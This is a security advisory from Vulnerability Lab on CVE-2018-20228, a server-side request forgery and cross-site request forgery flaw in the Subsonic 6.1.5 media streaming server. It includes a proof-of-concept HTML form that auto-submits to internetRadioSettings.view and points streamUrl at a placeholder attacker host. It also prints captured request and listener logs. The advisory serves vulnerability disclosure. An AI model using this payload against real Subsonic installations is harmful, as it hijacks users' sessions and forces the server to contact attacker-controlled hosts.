Document Title: =============== Subsonic v6.1.5 - Server Side Request Forgery & CSRF References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=2175 http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2018-20228 CVE-ID: ======= CVE-2018-20228 Release Date: ============= 2018-12-17 Vulnerability Laboratory ID (VL-ID): ==================================== 2175 Common Vulnerability Scoring System: ==================================== 4.1 Vulnerability Class: ==================== Server Side Request Forgery Current Estimated Price: ======================== 500€ - 1.000€ Product & Service Introduction: =============================== Subsonic is an easy-to-use media streaming service with a user-friendly interface and the ability to share music and video with multiple users. It is highly customizable and includes features such as Chromecast support and file conversion. (Copy of the Homepage: https://www.linode.com/docs/applications/media-servers/install-subsonic-media-server-on-ubuntu-or-debian/ ) Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered a server-side request forgery and csrf issue in the official Subsonic v6.1.5 for microsoft windows. Vulnerability Disclosure Timeline: ================================== 2018-12-17: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Subsonic AS Product: Subsonic - Media Streaming Service (Web-Application) 6.1.5 (Windows, MacOS, Debian, Ubuntu, Fedora, Synology NAS) Exploitation Technique: ======================= Remote Severity Level: =============== Medium Authentication Type: ==================== Pre Auth (No Privileges or Session) User Interaction: ================= Medium User Interaction Disclosure Type: ================ Full Disclosure Technical Details & Description: ================================ A ssrf vulnerability and csrf issue has been discovered in the official Subsonic v6.1.5 for microsoft windows. The security vulnerability allows remote attackers to hijack the authentication of users for requests that visites a internet radio. The vulnerability is located in the `internetRadioSettings.view` module and the `streamUrl` parameter of the localhost path URL. Remote attackers are able to conduct server-side request forgery (ssrf) attacks combined with a cross site request forgery issue. Both together can allow a remote attacker to hijack the authentication for stream of internet radios. The security risk of the ssrf web vulnerability and cross site request forgery issue is estimated as medium with a cvss count of 4.1. Exploitation of the ssrf and csrf vulnerability requires a low privilege web-application user account and low or medium user interaction. Request Method(s): [+] POST Vulnerable Parameter: [+] streamUrl Vulnerable Module(s): [+] internetRadioSettings.view Proof of Concept (PoC): ======================= The security vulnerability can be exploited by remote attackers a low privilege web-application user account and with low or medium user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. PoC: Exploitation <html> <body> <form id="test" action="http://localhost:4040/internetRadioSettings.view" method="POST"> <input type="hidden" name="name" value="NAME" /> <input type="hidden" name="streamUrl" value="http://ATTACKER:8080" /> <input type="hidden" name="homepageUrl" value="" /> <input type="hidden" name="enabled" value="on" /> </form> <script>document.getElementById('test').submit();</script> </body> </html> --- PoC Session Logs --- http://localhost:4040/internetRadioSettings.view Host: localhost:4040 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://ATTACKER:8080/poc.html Content-Type: application/x-www-form-urlencoded Content-Length: 77 Connection: keep-alive Cookie: player-61646d696e=2; JSESSIONID=hy5rv1nhc82c; DWRSESSIONID=8wm6J5vYUR!zJF6xZ9Df9FykouYTtQ!RAum Upgrade-Insecure-Requests: 1 name=NAME&streamUrl=http://ATTACKER:8080&homepageUrl=&enabled=on POST: HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Content-Language: en Content-Length: 8354 Server: ***** Then waiting for victim to visit [ Internet radio ] Serving HTTP on 0.0.0.0 port 8080 ... VICTIM - - [**/Dec/2018 **:**:**] "GET / HTTP/1.1" 200 - Vulnerable Source: <form method="post" action="internetRadioSettings.view"> <table class="indent"> <tbody><tr> <th>Name</th> <th>Stream URL</th> <th>Homepage</th> <th style="padding-left:1em">Enabled</th> <th style="padding-left:1em">Delete</th> </tr> <tr> <td><input type="text" name="name[3]" size="20" value="NAME"></td> <td><input type="text" name="streamUrl[3]" size="40" value="http://ATTACKER:8080"></td> <td><input type="text" name="homepageUrl[3]" size="40" value=""></td> <td style="padding-left:1em" align="center"><input type="checkbox" checked="" name="enabled[3]" class="checkbox"></td> <td style="padding-left:1em" align="center"><input type="checkbox" name="delete[3]" class="checkbox"></td> </tr> <tr> <th colspan="5" style="padding-top:1em" align="left">Add radio station</th> </tr> <tr> <td><input type="text" name="name" size="20" placeholder="Name"></td> <td><input type="text" name="streamUrl" size="40" placeholder="Stream URL"></td> <td><input type="text" name="homepageUrl" size="40" placeholder="Homepage"></td> <td style="padding-left:1em" align="center"><input name="enabled" checked="" type="checkbox" class="checkbox"></td> <td> </td></tr> <tr> <td style="padding-top:1.5em" colspan="5"> <input type="submit" value="Save" style="margin-right:0.3em"> <input type="button" value="Cancel" onclick="location.href='nowPlaying.view'"> </td> </tr> </tbody></table> </form> Security Risk: ============== The security risk of the server-side request forgery (ssrf) via cross site request forgery (csrf) in subsonic v6.1.5 product is estimated as medium. Credits & Authors: ================== S.AbenMassaoud [research@vulnerability-lab.com] - https://www.vulnerability-lab.com/show.php?user=S.AbenMassaoud Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. Domains: www.vulnerability-lab.com www.vuln-lab.com www.vulnerability-db.com Services: magazine.vulnerability-lab.com paste.vulnerability-db.com infosec.vulnerability-db.com Social: twitter.com/vuln_lab facebook.com/VulnerabilityLab youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php vulnerability-lab.com/rss/rss_upcoming.php vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php vulnerability-lab.com/register.php vulnerability-lab.com/list-of-bug-bounty-programs.php Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@ or research@) to get a ask permission. Copyright © 2018 | Vulnerability Laboratory - [Evolution Security GmbH]™